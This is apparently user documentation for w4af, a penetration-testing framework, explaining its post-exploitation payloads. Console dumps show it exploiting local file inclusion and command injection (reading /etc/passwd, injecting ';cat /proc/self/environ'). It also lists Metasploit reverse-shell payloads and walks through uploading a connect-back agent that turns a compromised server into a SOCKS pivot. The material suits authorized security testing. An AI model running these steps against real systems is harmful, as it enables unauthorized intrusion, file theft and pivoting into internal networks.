Web Application Payloads¶
Introduction¶
From the hundreds of different Web Application Vulnerabilities that can be found on any web application, only a small percentage gives the intruder a direct way for executing operating system commands. And if we keep digging into that group we’ll identify only one or two that under normal circumstances might give the intruder elevated privileges.
Keeping always in mind that the objective of the penetration tester is to gain a root shell in the remote server, Web applications seem to offer more resistance than classic memory corruption exploits; which is true if you have a 0day exploit developed within the Metasploit framework that matches the remote server installation, but if not… the Web might be the only way in.
Until now, the exploitation of these vulnerabilities, and the steps needed to achieve access with a user of elevated privileges had to be performed manually, which could in many situations take hours (depending on the web application penetration tester’s skills) and may or may not achieve its objective.
Web Application Payloads are the evolution of old school system call payloads which are used in memory corruption exploits since the 80’s. The basic problem solved by any payload is pretty simple: “I have access , what now?”. In memory corruption exploits it’s pretty easy to perform arbitrary tasks because after successful exploitation the attacker is able to control the remote CPU and memory, which allow for execution of arbitrary operating system calls. With this power it’s possible to create a new user, run arbitrary commands or upload files.
In the Web Application field the situation is completely different, the intruder is restricted to the “system calls” that the vulnerable Web Application script exposes. For example:
Arbitrary File Read Vulnerabilities exposes read()
OS Commanding Vulnerabilities exposes exec()
SQL Injection Vulnerabilities exposes read(), write() and potentially exec()
Web Application Payloads are small pieces of code that are run in the intruder’s box, and then translated by the Web Application exploit to a combination of GET and POST requests to be sent to the remote Web server. For example, a call to the emulated syscall read() with /proc/self/environ as a parameter would generate this request when it’s run through an arbitrary file read vulnerability: http://host.tld/read.php?file=/proc/self/environ
And this other request when exploiting an OS Commanding vulnerability http://host.tld/os.php?cmd=;cat /proc/self/environ
Running Web Application Payloads¶
The following is a console dump from w4af scanning a vulnerable application, exploiting a vulnerability and then running the list_processes payload:
w4af>>> plugins
w4af/plugins>>> audit lfi
w4af/plugins>>> back
w4af>>> target
w4af/config:target>>> set target http://localhost/local_file_read.php?file=section.txt
w4af/config:target>>> back
w4af>>> start
Found 1 URLs and 1 different points of injection.
The list of URLs is:
- http://localhost/local_file_read.php
The list of fuzzable requests is:
- http://localhost/local_file_read.php | Method: GET | Parameters: (file="section.txt")
Starting lfi plugin execution.
Local File Inclusion was found at: "http://localhost/local_file_read.php", using HTTP method GET.
The sent data was: "file=../../../../../../../../etc/passwd".
This vulnerability was found in the request with id 3.
Finished scanning process.
w4af>>> exploit
w4af/exploit>>> exploit local_file_reader
local_file_reader exploit plugin is starting.
- [0] <shell object (rsystem: "*nix")>
Please use the interact command to interact with the shell objects.
w4af/exploit>>> interact 0
Execute "end_interaction" to get out of the remote shell. Commands typed in this menu will
run through the local_file_reader shell
w4af/exploit/local_file_reader-0>>> payload list_processes
...
PID NAME STATUS CMD
1 init S (sleeping) /sbin/init
5183 mysqld S (sleeping) /usr/sbin/mysqld
w4af/exploit/local_file_reader-0>>>
This shows how it’s possible to retrieve the full list of running process with a simple arbitrary file read vulnerability. Similar examples that are able to read the open TCP/IP connections, operating system IP route table, and much more information are not shown for the sake of brevity.
The lsp command lists the available payloads, it’s important to notice that the list of payloads that can be run changes based on the used exploit. For example, running lsp inside a remote file inclusion shell will most likely return a list of all payloads, while running it inside a local file read shell will return the payloads that can be run when the vulnerability exposes only the read() syscall.
Metasploit integration¶
There are a set of web application payloads which can be used to interact with the metasploit framework. When the exploit provides the exec() syscall to the payloads, this allows the w4af user to upload metasploit payloads to the target system and execute them to continue the post-exploitation process.
msf_linux_x86_meterpreter_reverse
msf_windows_meterpreter_reverse_tcp
msf_windows_vncinject_reverse
metasploit
Identify the vulnerability during a scan
Exploit the vulnerability
Run “payload <payload_name>”
Proxying traffic through the compromised host¶
Also implemented as a web application payload, this feature allows you to create a reverse tunnel that will route TCP connections through the compromised server. Before going through an example to see how to use this feature, we will make a summary of the steps that will happen during exploitation:
w4af finds a vulnerability that allows remote command execution
The user exploits the vulnerability and starts the w4af_agent
w4af performs an extrusion scan by sending a small executable to the remote server. This executable connects back to w4af and allows the framework to identify outgoing firewall rules on the remote network.
w4af_agent manager will send a w4afAgentClient to the remote server. The process of uploading the file to the remote server depends on the remote operating system, the privileges of the user running w4af and the local operating system; but in most cases the following happens:
w4af reuses the information from the first extrusion scan, which was performed in step 3 in order to know which port it can use to listen for connections from the compromised server.
If a TCP port is found to be allowed in the remote firewall, w4af will try to run a server on that port and make a reverse connection from the compromised in order to download the PE/ELF generated file. If no TCP ports are enabled, w4af will send the ELF/PE file to the remote server using several calls to the “echo” command, which is rather slow, but should always work because it’s an in-band transfer method.
w4af_agent manager starts the w4afAgentServer that will bind on localhost:1080 (which will be used by the w4af user) and on the interface configured in w4af ( misc-settings->interface ) on the port discovered during step 3.
The w4afAgentClient connects back to the w4afAgentServer, successfully creating the tunnel
The user configures the proxy listening on localhost:1080 on his preferred software
When the program connects to the socks proxy, all outgoing connections are routed through the compromised server
Now that we know the theory, let’s see an example of what this feature can do:
w4af>>> plugins
w4af/plugins>>> audit os_commanding
w4af/plugins>>> back
w4af>>> target
w4af/target>>> set target http://172.10.10.1/w4af/v.php?c=list
w4af/target>>> back
w4af>>> start
The list of found URLs is:
- http://172.10.10.1/w4af/v.php
Found 1 URLs and 1 different points of injection.
The list of Fuzzable requests is:
- http://172.10.10.1/w4af/v.php | Method: GET | Parameters: (c)
Starting os_commanding plugin execution.
OS Commanding was found at: http://172.10.10.1/w4af/v.php . Using method: GET.
The data sent was: c=%2Fbin%2Fcat+%2Fetc%2Fpasswd The vulnerability was found in the request with id 2.
w4af>>> exploit
os_commanding exploit plugin is starting.
Vulnerability successfully exploited. This is a list of available shells:
- [0] <os_commanding object (ruser: "www-data" | rsystem: "Linux brick 2.6.24-19-generic i686 GNU/Linux")>
Please use the interact command to interact with the shell objects.
w4af/exploit>>> interact 0
Execute "end_interaction" to get out of the remote shell.
Commands typed in this menu will run on the remote web server.
w4af/exploit/os_commanding-0>>>
Nothing really new until now, we configured w4af, started the scan and exploited the vulnerability.
w4af/exploit/os_commanding-0>>> payload w4af_agent
Usage: w4af_agent <your ip address>
w4af/exploit/os_commanding-0>>> payload w4af_agent 172.1.1.1
Please wait some seconds while w4af performs an extrusion scan.
The extrusion scan failed.
Error: The user running w4af can't sniff on the specified interface. Hints: Are you root?
Does this interface exist?
Using inbound port "8080" without knowing if the remote host will be able to connect back.
The last messages are printed when you run w4af as a normal user, the reason is simple, when you run w4af as a user you can’t sniff and therefor can’t perform a successful extrusion scan. A successful extrusion scan would look like:
Please wait some seconds while w4af performs an extrusion scan.
ExtrusionServer listening on interface: eth1
Finished extrusion scan.
The remote host: "172.10.10.1" can connect to w4af with these ports:
- 25/TCP
- 80/TCP
- 53/TCP
- 1433/TCP
- 8080/TCP
- 53/UDP
- 69/UDP
- 139/UDP
- 1025/UDP
The following ports are not bound to a local process and can be used by w4af:
- 25/TCP
- 53/TCP
- 1433/TCP
- 8080/TCP
Selecting port "8080/TCP" for inbound connections from the compromised server to w4af.
In both cases (superuser and user), these should be the following steps:
Starting w4afAgentClient upload.
Finished w4afAgentClient upload.
Please wait 30 seconds for w4afAgentClient execution.
w4afAgent service is up and running.
You may start using the w4afAgent that is listening on port 1080. All connections made
through this SOCKS daemon will be relayed using the compromised server.
And now, from another console we can use a socksClient to route connections through the compromised server:
$ nc 172.10.10.1 22
(UNKNOWN) [172.10.10.1] 22 (ssh) : Connection refused
$ python socks_client.py 127.0.0.1 22
SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1
Protocol mismatch.
Where the socks_client.py code looks like:
import extlib.socksipy.socks as socks
import sys
s = socks.socksocket()
s.setproxy(socks.PROXY_TYPE_SOCKS4,"localhost")
s.connect((sys.argv[1],int(sys.argv[2])))
s.send('\n')
print s.recv(1024)